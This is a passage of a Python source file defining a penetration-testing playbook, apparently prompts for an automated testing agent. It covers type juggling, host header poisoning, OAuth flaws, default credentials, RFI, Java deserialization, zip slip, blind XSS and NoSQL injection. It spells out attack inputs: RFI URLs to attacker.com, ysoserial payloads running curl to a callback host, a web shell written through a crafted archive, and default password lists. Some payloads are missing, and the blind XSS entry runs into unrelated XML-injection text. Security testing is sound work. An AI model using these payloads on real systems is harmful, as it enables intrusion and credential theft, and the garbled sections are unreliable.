"bypass_strategies": ["Duplicate params with different values", "Mixed GET+POST params", "Array params: param[]=a¶m[]=b", "Different encodings per duplicate"], "verification_checklist": ["Application processes the unexpected parameter value", "WAF bypass confirmed with attack payload", "Business logic affected by parameter confusion"], "chain_attacks": ["HPP → WAF bypass → XSS/SQLi", "HPP → Business logic manipulation"], "anti_false_positive": ["Must demonstrate actual impact, not just behavior difference", "Duplicate handling alone is not a vulnerability — needs exploitable outcome"] }, "type_juggling": { "category": "logic", "title": "Type Juggling / Type Confusion", "overview": "Exploit weak type comparison in PHP or JavaScript to bypass authentication or comparison logic. Test with type-confused inputs: 0, null, true, empty array, scientific notation strings.", "threat_model": "Attacker provides input that exploits loose comparison operators (PHP == vs ===, JS == vs ===) to bypass password checks, token validation, or conditional logic.", "discovery": [ "Identify PHP or JavaScript comparison operations", "Test with: 0, null, true, false, [], {}, '0', '', '0e0'", "Look for MD5/hash comparisons vulnerable to magic hashes" ], "test_phases": [ { "phase": 1, "name": "Type Juggling Exploitation", "prompts": [ "PHP loose comparison: if password check uses == instead of ===, password=0 may match string passwords (0 == 'anystring' is true in PHP < 8.0).", "Test PHP magic hashes: if app compares MD5 hashes with ==, find input whose MD5 starts with '0e' followed by digits (e.g., MD5('240610708') = '0e462097431906509019562988736854'). 0e... == 0e... evaluates to true (both treated as 0 in scientific notation).", "Test JSON type confusion: send {\"password\": true} instead of {\"password\": \"actual_password\"}. In PHP, true == 'anystring' is true.", "Test {\"password\": 0}, {\"password\": null}, {\"password\": []}, {\"password\": {}}. Each may bypass different comparison patterns.", "JavaScript: test Object type confusion where {} == '[object Object]' or array coercion tricks." ], "expected_results": ["Auth bypass via type juggling", "Token validation bypassed"], "decision_tree": { "auth_bypassed": "CRITICAL - Authentication bypass via type confusion", "token_bypass": "HIGH - Token validation circumvented", "no_type_confusion": "Application uses strict comparison" } } ], "bypass_strategies": ["Integer 0 for password comparison", "Boolean true in JSON for any string comparison", "Magic hashes for MD5/SHA1 comparison", "Null/empty array for existence checks"], "verification_checklist": ["Authentication bypassed with type-confused input", "Data comparison: response matches authenticated user data", "Multiple type values tested to confirm pattern"], "chain_attacks": ["Type juggling → Auth bypass → Account takeover"], "anti_false_positive": ["Must prove auth bypass, not just input acceptance", "PHP 8.0+ fixed many loose comparison issues", "Check PHP version before reporting"] }, "timing_attack": { "category": "logic", "title": "Timing Side-Channel Attack", "overview": "Exploit measurable time differences in application responses to enumerate valid users, determine correct credentials character-by-character, or identify valid tokens.", "threat_model": "Attacker measures response times to distinguish between valid and invalid usernames, determine correct password characters, or identify valid authentication tokens.", "discovery": [ "Measure response times for valid vs invalid usernames", "Check if error messages differ for valid/invalid users", "Test with high-precision timing (1000+ samples per value)" ], "test_phases": [ { "phase": 1, "name": "Timing Analysis", "prompts": [ "Username enumeration: send login requests with known-valid username vs known-invalid username (same password). Measure response times over 100+ requests. Statistical difference (>10ms consistent) indicates timing leak.", "The timing difference occurs because: valid user → hash password → compare. Invalid user → immediate 'not found' (no hashing). The hash computation adds measurable delay.", "Token timing: for token/API key validation, compare valid-prefix token vs random token response times. Character-by-character comparison (strcmp) may leak timing.", "Use statistical analysis: calculate mean, median, standard deviation for each group. Use t-test or Mann-Whitney U test to confirm statistical significance.", "For password character extraction: if application uses character-by-character comparison, each correct character adds a small delay. Requires very high precision and many samples." ], "expected_results": ["Statistically significant timing difference between valid/invalid users"], "decision_tree": { "user_enumeration": "MEDIUM - Valid users identifiable via timing", "token_leak": "HIGH - Token extractable via timing", "no_timing_difference": "Constant-time comparison in use" } } ], "bypass_strategies": ["Parallel timing comparison to reduce noise", "Statistical analysis with 1000+ samples", "Network-local testing for reduced latency variance"], "verification_checklist": [ "Timing difference is statistically significant (p < 0.05)", "Result is reproducible across multiple test runs", "Network latency variation accounted for", "Known-valid vs known-invalid comparison confirmed" ], "chain_attacks": ["Timing → Username enumeration → Password spraying → Account compromise"], "anti_false_positive": [ "Network jitter can create false timing differences", "Must use statistical methods, not just a few samples", "Server-side caching may affect timing inconsistently" ] }, "host_header_injection": { "category": "injection", "title": "Host Header Injection / Password Reset Poisoning", "overview": "Application uses the Host header to generate URLs in emails, redirects, or page content. Manipulate Host header to hijack password reset links, poison caches, or redirect users.", "threat_model": "Attacker changes Host header in password reset request. Reset email contains link with attacker's domain. Victim clicks link, reset token sent to attacker, enabling account takeover.", "discovery": [ "Test Host header: change to attacker-controlled domain", "Trigger password reset, check if Host is used in reset link", "Test X-Forwarded-Host, X-Forwarded-Proto headers" ], "test_phases": [ { "phase": 1, "name": "Password Reset Poisoning", "prompts": [ "Trigger password reset for a target email. Intercept the request and change Host header to attacker.com. Check the password reset email: does the reset link use attacker.com?", "If Host header rejected, try: X-Forwarded-Host: attacker.com, X-Host: attacker.com, X-Forwarded-Server: attacker.com.", "Try Host header with port: Host: attacker.com:443 or Host: legitimate.com@attacker.com.", "Try double Host header: first Host: legitimate.com, second Host: attacker.com. Some frameworks use the second.", "Verify the attack: victim receives email with reset link pointing to attacker.com. When victim clicks, reset token is sent to attacker's server." ], "expected_results": ["Reset link contains attacker-controlled domain"], "decision_tree": { "reset_link_poisoned": "HIGH - Account takeover via password reset", "host_reflected_in_page": "MEDIUM - Cache poisoning or phishing", "host_not_reflected": "Application uses configured hostname, not Host header" } } ], "bypass_strategies": ["X-Forwarded-Host header", "Double Host header", "Port-based bypass: Host: evil.com:443", "@ bypass: Host: legit.com@evil.com"], "verification_checklist": [ "Reset email contains attacker-controlled URL", "Reset token is included in the poisoned URL", "Victim clicking the link sends token to attacker", "Negative control: normal Host produces correct reset link" ], "chain_attacks": ["Host injection → Password reset poisoning → Account takeover"], "anti_false_positive": [ "Host reflected in HTML but not in emails = limited impact", "Must verify the reset EMAIL contains the poisoned link", "Cache poisoning requires the response to be cached" ] }, "oauth_misconfiguration": { "category": "authentication", "title": "OAuth / OpenID Connect Misconfiguration", "overview": "Flaws in OAuth 2.0 / OIDC implementation: open redirect in redirect_uri, token leakage, CSRF in auth flow, implicit flow issues, scope escalation.", "threat_model": "Attacker exploits OAuth misconfigurations to steal authorization codes/tokens, hijack accounts via callback manipulation, or escalate OAuth scopes for unauthorized access.", "discovery": [ "Map OAuth endpoints: /authorize, /token, /callback, /redirect", "Check redirect_uri validation strictness", "Check state parameter usage (CSRF protection)", "Identify OAuth flow type: authorization code, implicit, PKCE" ], "test_phases": [ { "phase": 1, "name": "OAuth Flow Analysis", "prompts": [ "Test redirect_uri bypass: change to attacker.com, add path (redirect_uri=https://legit.com/callback/../../../attacker.com), use subdomain (redirect_uri=https://anything.legit.com/callback), add port (redirect_uri=https://legit.com:8443/callback).", "Test state parameter: is it present? Is it random? Can you reuse it? Remove it entirely. If CSRF protection via state is weak, attacker can complete the OAuth flow with victim's session.", "Test token leakage: if using implicit flow (response_type=token), token is in URL fragment. If redirect_uri allows open redirect, token leaks to attacker via Referer header.", "Test scope escalation: request scope=admin or scope=openid+profile+email+admin. Check if additional scopes are granted.", "Test authorization code theft: if redirect_uri validation is loose, redirect auth code to attacker's server. Exchange code for token.", "Test PKCE: if PKCE is not enforced, intercept authorization code and exchange without code_verifier." ], "expected_results": ["redirect_uri bypass", "State parameter missing/weak", "Token/code stolen via redirect"], "decision_tree": { "redirect_uri_bypass": "CRITICAL - OAuth token/code theft possible", "no_state_param": "HIGH - CSRF in OAuth flow", "scope_escalation": "HIGH - Excessive permissions granted", "secure_implementation": "OAuth flow properly secured" } } ], "bypass_strategies": [ "redirect_uri: path traversal, subdomain, port, URL encoding", "State fixation: set known state, trick victim into using it", "Token reuse across different clients", "Mix-up attacks: confuse IdP and RP", "PKCE downgrade: remove code_challenge" ], "verification_checklist": [ "Authorization code or token received at attacker-controlled URI", "Stolen token grants access to victim's account", "State bypass allows CSRF-style account linking", "Scope escalation provides additional API access" ], "chain_attacks": ["OAuth redirect_uri bypass → Token theft → Account takeover", "OAuth CSRF → Account linking → Account takeover"], "anti_false_positive": [ "redirect_uri with added path but blocked by server != bypass", "Must prove token/code actually received at attacker URI", "OAuth login without state is a finding but needs exploitable scenario" ] }, "default_credentials": { "category": "authentication", "title": "Default / Weak Credentials", "overview": "Test management interfaces, databases, APIs, and network services for default, common, or weak credentials. Check vendor documentation for default passwords.", "threat_model": "Attacker uses default or commonly-known credentials to access administrative interfaces, databases, or APIs that haven't been secured after deployment.", "discovery": [ "Identify management interfaces: admin panels, database consoles, monitoring dashboards", "Check technology stack and lookup default credentials", "Test common username/password combinations" ], "test_phases": [ { "phase": 1, "name": "Default Credential Testing", "prompts": [ "Test common defaults: admin/admin, admin/password, admin/changeme, root/root, root/toor, administrator/administrator, test/test, guest/guest.", "Technology-specific: Tomcat manager/tomcat, Jenkins admin/admin, WordPress admin/admin, phpMyAdmin root/(empty), MongoDB (no auth), Redis (no auth), Elasticsearch (no auth).", "Network services: SSH root/root, FTP anonymous/(empty), SNMP public/private, VNC (no password), RDP administrator/(empty).", "Database defaults: MySQL root/(empty), PostgreSQL postgres/postgres, MSSQL sa/sa, Oracle system/manager.", "Check for password policies: try short passwords, common patterns, username=password, blank passwords.", "Test API keys: try common development keys, expired keys that were never rotated, keys found in public GitHub repos." ], "expected_results": ["Login successful with default credentials"], "decision_tree": { "admin_access": "CRITICAL - Administrative access via default credentials", "limited_access": "HIGH - Default credentials on non-admin account", "no_defaults_work": "Default credentials properly changed" } } ], "bypass_strategies": ["Vendor-specific default credential databases", "Technology fingerprinting → targeted credential testing", "Blank password fields", "API keys from public repos"], "verification_checklist": ["Login successful and authenticated access confirmed", "Administrative functions actually accessible", "Credentials are defaults, not intentionally weak test accounts"], "chain_attacks": ["Default creds → Admin access → Full application/server control"], "anti_false_positive": ["Test/demo environments may intentionally use weak credentials", "Confirm this is a production or staging system, not a demo", "Verify the credentials are defaults, not intentionally set"] }, "information_disclosure": { "category": "data_exposure", "title": "Information Disclosure via Error Messages / Debug Pages", "overview": "Application reveals internal information through verbose error messages, debug pages, stack traces, or API responses. Test for technology disclosure, internal paths, and configuration details.", "threat_model": "Internal information aids further attacks: technology versions identify specific CVEs, internal paths help path traversal, database errors confirm SQLi, stack traces reveal code logic.", "discovery": [ "Trigger errors: send invalid input, missing parameters, wrong types", "Check for debug endpoints: /debug, /phpinfo.php, /actuator, /elmah", "Check 404/500 error pages for technology details" ], "test_phases": [ { "phase": 1, "name": "Information Gathering via Errors", "prompts": [ "Send malformed requests to every endpoint: wrong data type, missing required fields, extremely long strings, special characters. Analyze error responses for internal details.", "Check error pages: send request to non-existent endpoint and analyze the 404 page. Check 500 errors for stack traces, file paths, and framework versions.", "Check response headers: Server, X-Powered-By, X-AspNet-Version, X-Generator, X-Drupal-Cache, X-PHP-Version.", "Check for Spring Boot Actuator: /actuator/env, /actuator/health, /actuator/info, /actuator/heapdump, /actuator/configprops, /actuator/mappings.", "Check for PHP info: /phpinfo.php, /info.php, /test.php, /php_info.php. Full phpinfo page reveals server config, modules, environment variables.", "Check HTML source for comments revealing internal info: developer notes, TODO items, internal URLs, credentials." ], "expected_results": ["Stack traces with file paths", "Technology versions revealed", "Debug endpoints accessible"], "decision_tree": { "credentials_in_errors": "HIGH - Secrets exposed via error/debug", "debug_endpoints": "MEDIUM-HIGH - Internal config/state exposed", "stack_traces": "LOW-MEDIUM - Internal paths and framework details", "version_only": "LOW - Technology fingerprinting information" } } ], "bypass_strategies": ["Different HTTP methods trigger different errors", "Invalid Content-Type triggers parsing errors", "Large payloads trigger memory/size errors"], "verification_checklist": ["Information is genuinely internal (not public documentation)", "Details aid further attacks (specific CVE, valid paths)", "Debug endpoints expose sensitive configuration"], "chain_attacks": ["Info disclosure → Technology version → CVE exploitation", "Stack trace → File paths → LFI targeting"], "anti_false_positive": ["Technology version in production is informational, not critical", "Public API documentation is not information disclosure", "Test data in responses may be intentional"] }, "api_key_exposure": { "category": "data_exposure", "title": "API Key / Secret Exposure", "overview": "Hardcoded API keys, secrets, tokens, or credentials exposed in client-side code, public repositories, or API responses. Test JavaScript bundles, HTML source, and commit history.", "threat_model": "Exposed API keys enable: cloud service abuse (AWS, GCP, Azure), third-party API access (Stripe, Twilio, SendGrid), data access (database credentials), and service impersonation.", "discovery": [ "Search JavaScript files for: api_key, apiKey, secret, token, password, aws_access_key", "Check HTML source comments and hidden inputs", "Check .git/config, .env, config files accessible via web", "Check public GitHub repos for accidentally committed secrets" ], "test_phases": [ { "phase": 1, "name": "Secret Discovery & Validation", "prompts": [ "Search all JavaScript files for patterns: /['\"]?(api[_-]?key|secret|token|password|credential|auth)['\"]?\\s*[:=]\\s*['\"][^'\"]+/i.", "Check for AWS keys: AKIA[A-Z0-9]{16} (Access Key ID), [A-Za-z0-9/+=]{40} (Secret Key).", "Check for other cloud keys: GCP service account JSON, Azure subscription key, DigitalOcean token.", "Check for payment keys: Stripe sk_live_*, PayPal credentials, payment processor secrets.", "Validate found keys: AWS → aws sts get-caller-identity, GCP → gcloud auth activate-service-account, Stripe → curl with key.", "Check Git history: git log --all -p | grep -i 'password\\|secret\\|key\\|token'. Secrets may have been committed then removed.", "Check environment variables via SSRF/LFI: /proc/self/environ, .env files." ], "expected_results": ["API keys found in client code", "Secrets valid and usable"], "decision_tree": { "valid_cloud_creds": "CRITICAL - Cloud account access via exposed keys", "valid_payment_keys": "CRITICAL - Financial service access", "valid_api_keys": "HIGH - Third-party service abuse possible", "expired_or_revoked": "LOW - Previously exposed but currently invalid" } } ], "bypass_strategies": ["Check JavaScript source maps (.map files) for unminified code", "Check webpack/vite manifest for entry points", "Search Git history for removed secrets", "Check environment variable endpoints"], "verification_checklist": ["Key/secret actually works (API call succeeds)", "Key provides meaningful access (not just public tier)", "Key belongs to the target organization", "Impact assessed: what can be done with this key?"], "chain_attacks": ["API key → Cloud access → Data theft", "API key → Service impersonation → Phishing", "Database creds → Data exfiltration"], "anti_false_positive": ["Public/demo API keys are not sensitive", "Verify key is actually valid before reporting", "Frontend API keys with restricted CORS/referrer may be intentional"] }, "rfi": { "category": "file_access", "title": "Remote File Inclusion (RFI)", "overview": "Application includes remote files based on user-controlled URL. Test file inclusion parameters with external URLs to include attacker-controlled code for RCE.", "threat_model": "Attacker specifies a URL to an attacker-controlled file that gets included and executed by the server. Common in PHP applications with allow_url_include enabled.", "discovery": [ "Look for file inclusion parameters: page=, file=, include=, template=", "Test with external URL: page=http://attacker.com/shell.txt", "Check if PHP allow_url_include is enabled" ], "test_phases": [ { "phase": 1, "name": "RFI Detection & Exploitation", "prompts": [ "Test with external URL: page=http://attacker.com/test.txt where test.txt contains unique canary text. If canary appears in response, basic RFI confirmed.", "Test with PHP code: host a file containing on attacker server. If RFI_TEST and command output appear, RCE via RFI confirmed.", "If http:// blocked, try: https://, ftp://, data://text/plain;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==.", "Test null byte truncation: page=http://attacker.com/shell.txt%00 to bypass extension append.", "Check for partial RFI: can include files from specific allowed domains? Try finding a user-controllable file on an allowed domain." ], "expected_results": ["External file included in response", "PHP code executed from remote file"], "decision_tree": { "rce_via_rfi": "CRITICAL - Remote code execution via file inclusion", "content_inclusion": "HIGH - External content rendered in application", "protocol_limited": "Try alternative protocols", "not_vulnerable": "File inclusion validates/restricts URLs" } } ], "bypass_strategies": ["Protocol alternatives: https, ftp, data, expect", "Null byte truncation", "URL encoding of protocol", "Wrapper chains", "Allowed-domain file controllable by attacker"], "verification_checklist": ["Remote file content appears in application response", "PHP/server code executes (not just text inclusion)", "External URL is attacker-controlled", "Negative control: invalid URL returns error"], "chain_attacks": ["RFI → Web shell → RCE → Full compromise"], "anti_false_positive": ["Content reflected but not executed = HTML injection, not RFI", "Must prove server-side code execution from remote file", "PHP allow_url_include may be disabled by default"] }, "deserialization_java": { "category": "injection", "title": "Java Deserialization (ysoserial / gadget chains)", "overview": "Java-specific deserialization attacks targeting ObjectInputStream with known gadget chains. Identify serialized Java objects (magic bytes rO0AB/aced0005) and exploit with ysoserial payloads.", "threat_model": "Attacker submits crafted Java serialized objects that trigger known gadget chains in server-side libraries, leading to remote code execution.", "discovery": [ "Look for rO0AB (base64) or aced0005 (hex) in parameters, cookies, JMX, RMI", "Check for Java frameworks that use serialization: JBoss, WebLogic, Jenkins, JMX", "Test ViewState in .NET (similar concept, different implementation)" ], "test_phases": [ { "phase": 1, "name": "Java Deserialization Exploitation", "prompts": [ "Identify serialized Java data: look for rO0AB (base64 of \\xac\\xed\\x00\\x05) in cookies, headers, POST body, or URL parameters.", "Generate ysoserial payloads for common libraries: java -jar ysoserial.jar CommonsCollections1 'curl COLLABORATOR'. Try: CommonsCollections1-7, CommonsBeansutils1, Spring1-2, Groovy1, JRMPClient.", "Submit payload in place of legitimate serialized data. Check for OOB callback.", "If library versions unknown, try all ysoserial gadget chains systematically. Different chains work with different library versions.", "Test DNS-based detection first: java -jar ysoserial.jar URLDNS 'http://COLLABORATOR'. This uses built-in Java classes (no external deps).", "For WebLogic: test T3/IIOP protocol deserialization on port 7001. For JBoss: test JMXInvokerServlet deserialization." ], "expected_results": ["OOB callback confirming deserialization", "RCE via gadget chain"], "decision_tree": { "rce_confirmed": "CRITICAL - Java deserialization RCE", "dns_callback_only": "HIGH - Deserialization confirmed, try more gadgets for RCE", "error_but_processed": "MEDIUM - Input deserialized but no known gadget works", "input_rejected": "Not using Java serialization or properly filtered" } } ], "bypass_strategies": [ "Try all ysoserial gadget chains (different library deps)", "Custom gadget chains for specific application libraries", "Serialization filter bypass (JEP 290 bypass techniques)", "GadgetProbe for library detection before exploitation" ], "verification_checklist": ["OOB callback received from target server", "Command execution confirmed (output or side effect)", "Gadget chain identified (which library/version)", "Negative control: normal serialized data works correctly"], "chain_attacks": ["Java deserialization → RCE → Full server compromise"], "anti_false_positive": ["DNS callback via URLDNS only proves deserialization happens, NOT RCE", "Must prove command execution for critical severity", "Serialized data format doesn't guarantee exploitation"] }, "zip_slip": { "category": "file_access", "title": "Zip Slip / Archive Path Traversal", "overview": "Application extracts uploaded archives without validating entry paths. Crafted archives with ../../../ path entries can write files outside the intended extraction directory.", "threat_model": "Attacker uploads a crafted ZIP/TAR archive containing entries with traversal paths (../../../etc/cron.d/malicious) that write files to arbitrary server locations when extracted.", "discovery": [ "Find file upload endpoints that accept archives (ZIP, TAR, TAR.GZ)", "Application extracts archives server-side (plugin upload, import, theme upload)", "Test with crafted archive containing traversal paths" ], "test_phases": [ { "phase": 1, "name": "Zip Slip Exploitation", "prompts": [ "Create a malicious ZIP file with path traversal: python3 -c \"import zipfile; z=zipfile.ZipFile('evil.zip','w'); z.writestr('../../../../../../tmp/zipslip_test','pwned'); z.close()\".", "Upload the crafted archive to the target's archive upload/import feature.", "Verify file was written: check if /tmp/zipslip_test exists (may need LFI or command execution to verify).", "For RCE: create archive with web shell at traversal path to webroot: ../../../../../../var/www/html/shell.php.", "Test with TAR archives as well: tar cf evil.tar --absolute-names /../../tmp/zipslip_test.", "Test with symlinks in archives: create archive containing symlink pointing to /etc/passwd, then a regular file that overwrites the symlink target." ], "expected_results": ["File written outside extraction directory", "Web shell uploaded to webroot"], "decision_tree": { "rce_via_webshell": "CRITICAL - Web shell written to webroot", "arbitrary_file_write": "HIGH - Files written outside extraction dir", "extraction_safe": "Application validates archive entry paths" } } ], "bypass_strategies": ["Different archive formats: ZIP, TAR, TAR.GZ, 7Z, RAR", "Symlink-based traversal", "Absolute paths in archive entries", "Unicode path confusion"], "verification_checklist": ["File exists at traversal target path", "File content matches archive entry content", "File is outside the intended extraction directory", "Negative control: normal archive extracts correctly"], "chain_attacks": ["Zip Slip → Web shell → RCE", "Zip Slip → Config overwrite → Application compromise"], "anti_false_positive": ["Must verify file was written, not just that archive was accepted", "Server may reject traversal paths during extraction", "Cloud environments may not have writable directories at expected paths"] }, "blind_xss": { "category": "client_side", "title": "Blind XSS / Out-of-Band XSS", "overview": "XSS payloads that execute in a different context than where they're submitted: admin panels, email readers, log viewers, PDF generators, internal dashboards. Use callback-based payloads to detect execution.", "threat_model": "Attacker submits XSS payload via public-facing input. Payload is stored and later rendered in an internal/admin context where it executes, stealing admin cookies/tokens.", "discovery": [ "Identify inputs that may be viewed by admins: support tickets, user registrations, feedback forms, error reports, log messages", "Use blind XSS platforms: XSS Hunter, bxss.me, or self-hosted callback", "Submit payloads in all input fields, including unlikely ones (User-Agent, Referer)" ], "test_phases": [ { "phase": 1, "name": "Blind XSS Payload Deployment", "prompts": [ "Create blind XSS callback payload: where probe.js exfiltrates document.cookie, document.location, DOM content, and takes a screenshot.", "Submit the payload in EVERY input field: name, email, subject, message body, address, phone number, User-Agent header, Referer header, X-Forwarded-For.", "Also submit in registration fields, feedback forms, support tickets, file upload filenames, and error/report fields.", "Use multiple payload formats: ]]> in XML fields.", "Test XML namespace injection: inject xmlns declarations to confuse XML processing." ], "expected_results": ["XML structure modified", "XSLT code executed", "DoS via entity expansion"], "decision_tree": {"structure_modified": "MEDIUM - XML logic manipulation", "xslt_execution": "HIGH - Code execution via XSLT", "dos_via_bomb": "MEDIUM - Denial of service"}}], "bypass_strategies": ["CDATA sections to bypass encoding", "Namespace manipulation", "UTF-8 BOM injection", "XML comment injection"], "verification_checklist": ["Document structure actually changed", "XSLT processing confirmed", "DoS impact measured"], "chain_attacks": ["XML injection → Logic manipulation", "XSLT injection → RCE"], "anti_false_positive": ["XML parsing error != injection", "Must show structural modification, not just error"] }, "nosql_injection_blind": { "category": "injection", "title": "Blind NoSQL Injection", "overview": "NoSQL injection where results are not directly visible. Use conditional operators ($regex, $gt, $lt) to extract data character by character.", "threat_model": "Attacker extracts data from NoSQL databases using boolean-based or time-based blind techniques, similar to blind SQL injection.", "discovery": ["Test boolean differences with NoSQL operators", "Test $regex for character extraction", "Test $where with sleep for time-based"], "test_phases": [{"phase": 1, "name": "Blind NoSQL Extraction", "prompts": [ "Boolean-based: test {\"password\": {\"$regex\": \"^a\"}} through {\"password\": {\"$regex\": \"^z\"}}. Different responses indicate which character matches.", "Extract full password: iterate characters: ^a, ^ab, ^abc... until the full value is extracted.", "Time-based via $where: {\"$where\": \"if(this.password.charAt(0)=='a') {sleep(5)} else {}\"}. 5-second delay confirms character.", "Use $gt/$lt for binary search: {\"password\": {\"$gt\": \"m\"}} → split range → {\"$gt\": \"s\"} → narrow down character.", "Extract field names: {\"unknown_field\": {\"$exists\": true}} → iterate common field names." ], "expected_results": ["Password/data extracted character by character", "Field names enumerated"], "decision_tree": {"data_extracted": "HIGH - Blind NoSQL injection with extraction", "timing_confirmed": "MEDIUM - Time-based confirmed but extraction slow", "no_injection": "NoSQL queries properly parameterized"}}], "bypass_strategies": ["$regex for boolean extraction", "$where for JavaScript execution", "$gt/$lt for binary search", "Unicode in regex for bypass"], "verification_checklist": ["Extracted data matches expected format", "Consistent boolean/timing differences", "Multiple characters extracted confirming pattern"], "chain_attacks": ["Blind NoSQLi → Credential extraction → Auth bypass"], "anti_false_positive": ["Response time variance may be network, not injection", "Boolean difference must be consistent across multiple tests"] }, "cors_null_origin": { "category": "infrastructure", "title": "CORS Null Origin Trust", "overview": "Application specifically trusts Origin: null, which can be triggered from sandboxed iframes, data URIs, or local files. Enables cross-origin data theft.", "threat_model": "Attacker creates sandboxed iframe (origin: null) to read cross-origin API responses from the vulnerable application.", "discovery": ["Send request with Origin: null", "Check ACAO and ACAC response headers"], "test_phases": [{"phase": 1, "name": "Null Origin CORS Exploitation", "prompts": [ "Send request with Origin: null. If response: Access-Control-Allow-Origin: null + Access-Control-Allow-Credentials: true, null origin is trusted.", "Build PoC: ", "Verify victim's data is sent to attacker's server.", "Test multiple API endpoints for null origin trust." ], "expected_results": ["Null origin accepted with credentials", "Cross-origin data readable via sandboxed iframe"], "decision_tree": {"data_theft": "HIGH - Cross-origin data theft via null origin", "no_sensitive_data": "LOW - Null origin trusted but endpoints don't return sensitive data"}}], "bypass_strategies": ["Sandboxed iframe", "Data URI", "File:// protocol"], "verification_checklist": ["ACAO: null with ACAC: true confirmed", "PoC demonstrates actual data theft", "Sensitive data accessible"], "chain_attacks": ["Null origin CORS → Cross-origin data theft → Account compromise"], "anti_false_positive": ["ACAO: null without ACAC: true = no cookies sent = low impact"] }, "dependency_confusion": { "category": "cloud_supply", "title": "Dependency Confusion / Supply Chain Attack", "overview": "Exploit package manager resolution to substitute internal packages with malicious public packages. Target internal package names by publishing same-named packages to public registries.", "threat_model": "Attacker discovers internal package names and publishes higher-version malicious packages to public npm/PyPI/NuGet. Build systems install the public (malicious) version.", "discovery": ["Check for internal package names in package.json, requirements.txt", "Look for @scope-less internal packages", "Check for .npmrc, pip.conf with internal registry"], "test_phases": [{"phase": 1, "name": "Dependency Confusion Detection", "prompts": [ "Analyze package manifests (package.json, requirements.txt, etc.) for internal/private package names that don't exist on public registries.", "Check if the build system uses mixed sources (public + private registry) without proper scoping.", "For npm: unscoped packages (no @org/ prefix) are vulnerable. Check if internal packages lack @org/ scope.", "For Python: check pip.conf for --extra-index-url (adds public PyPI alongside private). --index-url only (safer).", "If internal package name found: check public registry — if not claimed, dependency confusion is possible.", "Test: create a harmless package with the same name on public registry with a higher version. Does the build system pull it?" ], "expected_results": ["Internal package names discoverable", "Public registry allows same-name registration"], "decision_tree": {"confusion_possible": "HIGH - Build system would install public package", "scoped_packages": "Protected by package scoping", "private_registry_only": "Build system only uses private registry"}}], "bypass_strategies": ["Higher version number overrides", "Pre-release versions", "Platform-specific packages"], "verification_checklist": ["Internal package name confirmed", "Public registry accepts same-name package", "Build system would prioritize public version"], "chain_attacks": ["Dependency confusion → Malicious code in build → RCE on build server → Supply chain compromise"], "anti_false_positive": ["Package name existing on public registry may be coincidence", "Must verify build system actually resolves from public registry"] }, "graphql_field_suggestion": { "category": "data_exposure", "title": "GraphQL Field Suggestion Enumeration", "overview": "GraphQL servers that suggest valid field names in error messages when introspection is disabled, enabling schema discovery through error-based enumeration.", "threat_model": "Attacker enumerates the GraphQL schema by submitting invalid field names and collecting suggestions from error messages, bypassing introspection disabling.", "discovery": ["Send query with invalid field: {user{aaaa}}", "Check error message for suggestions: 'Did you mean...'"], "test_phases": [{"phase": 1, "name": "Schema Enumeration via Suggestions", "prompts": [ "Query with invalid field: {user{aaa}}. Check if error contains suggestions like 'Did you mean: address, admin, age?'.", "Systematically enumerate: try single characters a-z, common prefixes (pass, admin, role, email, phone, ssn, credit).", "For each suggestion received, query it to discover the full schema even with introspection disabled.", "Map all types: query {__type(name:\"User\"){fields{name}}} may work even if full introspection is disabled.", "Use tools like graphql-cop, clairvoyance for automated field enumeration." ], "expected_results": ["Schema fields discovered via error suggestions", "Full schema mapped without introspection"], "decision_tree": {"schema_discovered": "MEDIUM - Schema enumerable via suggestions", "no_suggestions": "Field suggestions disabled"}}], "bypass_strategies": ["Alphabetic brute-force", "Common field name wordlists", "Partial introspection queries", "Automated enumeration tools"], "verification_checklist": ["Suggestions reveal actual field names", "Discovered fields return data when queried", "Schema coverage is meaningful"], "chain_attacks": ["Field enumeration → Discover sensitive fields → IDOR or data exposure"], "anti_false_positive": ["Field suggestions are a feature, severity depends on what's discoverable"] }, "samesite_bypass": { "category": "client_side", "title": "SameSite Cookie Bypass", "overview": "Bypass SameSite=Lax cookie protection using GET requests with side effects, method override, or top-level navigation tricks.", "threat_model": "Attacker bypasses SameSite=Lax protection to perform cross-site attacks (CSRF-like) by exploiting GET requests with state-changing effects or browser-specific behaviors.", "discovery": ["Check SameSite attribute on session cookies", "Find GET endpoints with side effects", "Test method override with GET"], "test_phases": [{"phase": 1, "name": "SameSite Bypass Testing", "prompts": [ "Identify session cookies with SameSite=Lax (default in modern browsers if unset).", "Find GET requests with side effects: GET /api/delete?id=123, GET /logout, GET /change-email?email=new@evil.com.", "Lax cookies ARE sent on top-level navigations (link clicks, form GET submissions). Exploit this: Click here.", "Test method override: . If app honors _method, POST action via GET request.", "Test 2-minute window: Chrome sends SameSite=Lax cookies on POST top-level navigation within 2 minutes of cookie being set.", "Test with window.open(): cookies may be sent in popup navigations." ], "expected_results": ["State-changing action via GET", "SameSite bypassed via method override"], "decision_tree": {"get_side_effects": "MEDIUM - CSRF possible via GET endpoints despite SameSite", "method_override_bypass": "MEDIUM - SameSite bypassed via method override", "samesite_effective": "SameSite protection working"}}], "bypass_strategies": ["GET endpoints with side effects", "Method override (_method parameter)", "Top-level navigation within 2-min window", "Popup/redirect-based attacks"], "verification_checklist": ["State-changing action executed cross-site", "SameSite cookie was sent with the cross-site request", "Impact is meaningful (not just read)"], "chain_attacks": ["SameSite bypass → CSRF → Account modification"], "anti_false_positive": ["SameSite=Lax is partial protection by design — GET side effects are a separate issue", "Must demonstrate actual cross-site state change"] }, } # ───────────────────────────────────────────────────────────── # Helper Functions # ───────────────────────────────────────────────────────────── def get_playbook_entry(vuln_type: str) -> Optional[Dict[str, Any]]: """Get the playbook entry for a vulnerability type.""" return PENTEST_PLAYBOOK.get(vuln_type) def get_testing_prompts(vuln_type: str, phase: Optional[int] = None) -> List[str]: """Get all testing prompts for a vulnerability type, optionally filtered by phase.""" entry = PENTEST_PLAYBOOK.get(vuln_type) if not entry: return [] prompts = [] for test_phase in entry.get("test_phases", []): if phase is None or test_phase.get("phase") == phase: prompts.extend(test_phase.get("prompts", [])) return prompts def get_bypass_strategies(vuln_type: str) -> List[str]: """Get bypass strategies for a vulnerability type.""" entry = PENTEST_PLAYBOOK.get(vuln_type) return entry.get("bypass_strategies", []) if entry else [] def get_verification_checklist(vuln_type: str) -> List[str]: """Get verification checklist for a vulnerability type.""" entry = PENTEST_PLAYBOOK.get(vuln_type) return entry.get("verification_checklist", []) if entry else [] def get_chain_attacks(vuln_type: str) -> List[str]: """Get chain attack possibilities for a vulnerability type.""" entry = PENTEST_PLAYBOOK.get(vuln_type) return entry.get("chain_attacks", []) if 